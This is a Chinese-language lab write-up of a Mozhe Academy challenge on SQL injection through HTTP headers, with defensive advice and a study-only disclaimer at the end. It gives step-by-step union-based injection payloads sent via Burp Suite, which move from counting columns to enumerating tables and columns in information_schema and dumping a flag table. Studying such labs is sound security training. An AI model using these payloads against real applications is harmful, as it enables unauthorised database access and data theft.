墨者:SQL注入漏洞测试(HTTP头注入)

墨者学院:SQL注入漏洞测试(HTTP头注入)🚀

1. 什么是HTTP头注入?🔍

HTTP头注入是指攻击者通过篡改HTTP请求头部的字段(如User-Agent、Referer、Cookie、Host等),将恶意SQL代码插入到后端数据库查询中。当应用程序未对头部输入进行严格过滤时,可能导致数据库信息泄露或服务器被控制。

典型场景

  • 登录页面的X-Forwarded-For记录IP
  • 用户跟踪的User-Agent记录
  • 身份验证的Cookie字段
  • 服务器路由使用的Host字段

2. 使用工具:Burpsuite🔧

Burpsuite是渗透测试中常用的拦截/修改HTTP请求的工具,测试将使用Repeater模块,手动修改并重放请求


3. 注入流程详解🎯

步骤1:确定字段数量⚡

sql 复制代码
order by 5

参数解释

  • order by N:通过递增N判断查询结果的列数,直到返回错误(本例中order by 5报错,说明列数≤4)。

步骤2:确认回显位⚡

sql 复制代码
union select 1,2,3,4

参数解释

  • union select:联合查询,数字1-4代表列位置,页面显示的数字即为可回显数据的列(如显示2,3,4则对应第2、3、4列可注入)。

步骤3:获取基础信息⚡

sql 复制代码
union select 1,user(),version(),database()

参数解释

  • user():当前数据库用户
  • version():数据库版本
  • database():当前数据库名称

步骤4:枚举表名⚡

sql 复制代码
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'

参数解释

  • information_schema.tables:系统表存储所有表信息
  • group_concat():合并查询结果(避免多行显示)
  • table_schema:指定目标数据库名

步骤5:枚举列名⚡

sql 复制代码
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

参数解释

  • information_schema.columns:系统表存储所有列信息
  • table_name:指定目标表名

步骤6:提取数据⚡

sql 复制代码
union select 1,2,3,group_concat(flag) from flag

参数解释

  • flag表中提取flag列的全部数据

4. 总结🏁

  1. 漏洞成因:未过滤HTTP头部输入,直接拼接SQL查询。
  2. 防御建议
    • 使用预编译语句(Prepared Statements)
    • 对头部参数进行严格白名单验证
  3. 测试关键
    • 通过order by确定列数
    • 利用information_schema逐步获取数据库结构

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
Warren987 小时前
datagrip新建oracle连接教程
数据库·windows·云原生·oracle·容器·kubernetes·django
焦糖玛奇朵婷7 小时前
扭蛋机小程序:线上扭蛋机模式发展新形势[特殊字符]
大数据·数据库·程序人生·小程序·软件需求
YMatrix 官方技术社区7 小时前
YMatrix 高可用详解:3 种镜像策略在节点宕机时表现有何不同?
运维·数据库·数据仓库·ai·数据库开发·数据库架构·ymatrix
嘟嘟w7 小时前
SQL注入是什么
数据库·sql·oracle
摇滚侠7 小时前
Redis 零基础到进阶,Redis 主从复制,笔记55-62
数据库·redis·笔记
surtr17 小时前
数据库基础(数据库原理和应用)
数据库·sql·mysql·oracle·database
张人玉7 小时前
c# DataSet 类
数据库·c#·dataset
想用offer打牌7 小时前
数据库大事务有什么危害(面试版)
数据库·后端·架构
廋到被风吹走7 小时前
【数据库】【Redis】数据结构全景图:命令、场景与避坑指南
数据结构·数据库·redis
Jaising6667 小时前
Spring 错误使用事务导致数据可见性问题分析
数据库·spring boot